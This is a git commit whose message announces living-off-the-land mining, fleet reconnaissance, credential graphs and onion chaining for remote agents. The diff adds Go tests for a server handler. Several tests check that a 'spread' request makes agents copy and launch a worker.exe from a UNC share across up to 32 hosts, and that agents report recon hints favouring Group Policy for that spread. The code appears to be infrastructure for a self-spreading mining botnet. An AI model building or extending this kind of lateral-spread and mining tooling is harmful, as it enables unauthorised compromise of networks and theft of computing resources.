Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -157,6 +157,16 @@ func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey str
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure", "success": true,
})})
case "network_recon":
hints, _ := json.Marshal(map[string]interface{}{
"spread_targets": []string{"192.168.1.50"},
"spread_target_count": 1,
"domain_joined": true,
"prefer_join_lane": "gpo",
})
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "network_recon", "success": true, "message": string(hints),
})})
case "wg_teardown":
return
}
@@ -439,3 +449,147 @@ func TestPathTracerStartValidation(t *testing.T) {
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestPathTracerSpreadValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", bytes.NewReader([]byte(`{}`)))
rec := httptest.NewRecorder()
h.Spread(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty body: expected 400, got %d", rec.Code)
}
badUNC := `{"session_id":"sess-1","unc_path":"C:\\local\\worker.exe"}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(badUNC))
rec = httptest.NewRecorder()
h.Spread(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("non-UNC path: expected 400, got %d", rec.Code)
}
h.mu.Lock()
h.sessions["sess-missing"] = testTraceSession(1)
h.mu.Unlock()
body := `{"session_id":"sess-missing","unc_path":"\\\\forge\\pathforge$\\worker.exe"}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
rec = httptest.NewRecorder()
h.Spread(rec, req)
if rec.Code != http.StatusBadGateway && rec.Code != http.StatusBadRequest {
t.Fatalf("offline egress: expected 400/502, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestPathTracerSpreadDispatches(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
agentID := "spread-egress-agent"
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
conn := connectTestAgent(t, hub, agentID)
sess := testTraceSession(1)
sess.Hops[0].AgentID = agentID
handler.mu.Lock()
handler.sessions[sess.ID] = sess
handler.mu.Unlock()
cmdCh := make(chan map[string]interface{}, 1)
go func() {
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "command" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
if payload["action"] == "spread_smb_unc" {
cmdCh <- payload
return
}
}
}()
body := fmt.Sprintf(`{"session_id":%q,"unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":32}`, sess.ID)
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Spread(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("spread status=%d body=%s", rec.Code, rec.Body.String())
}
select {
case payload := <-cmdCh:
if payload["path"] != `\\forge\pathforge$\worker.exe` {
t.Fatalf("unexpected path: %v", payload["path"])
}
if payload["command"] != "32" {
t.Fatalf("unexpected max_hosts command: %v", payload["command"])
}
case <-time.After(3 * time.Second):
t.Fatal("timed out waiting for spread_smb_unc command")
}
}
func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
agentID := "trace-network-hints"
startPathTracerAgentResponder(t, hub, agentID, "NET_HINTS_PUB")
body := `{"agent_ids":["` + agentID + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
}
var startResp struct {
SessionID string `json:"session_id"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
t.Fatal(err)
}
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+startResp.SessionID+"/status", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", startResp.SessionID)
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx))
rec2 := httptest.NewRecorder()
handler.Status(rec2, req2)
if rec2.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec2.Code, rec2.Body.String())
}
var status struct {
NetworkHints map[string]interface{} `json:"network_hints"`
}
if err := json.Unmarshal(rec2.Body.Bytes(), &status); err != nil {
t.Fatal(err)
}
if status.NetworkHints != nil {
if status.NetworkHints["prefer_join_lane"] != "gpo" {
t.Fatalf("unexpected hints: %+v", status.NetworkHints)
}
return
}
time.Sleep(100 * time.Millisecond)
}
t.Fatal("timed out waiting for network_hints on pathtrace session")
}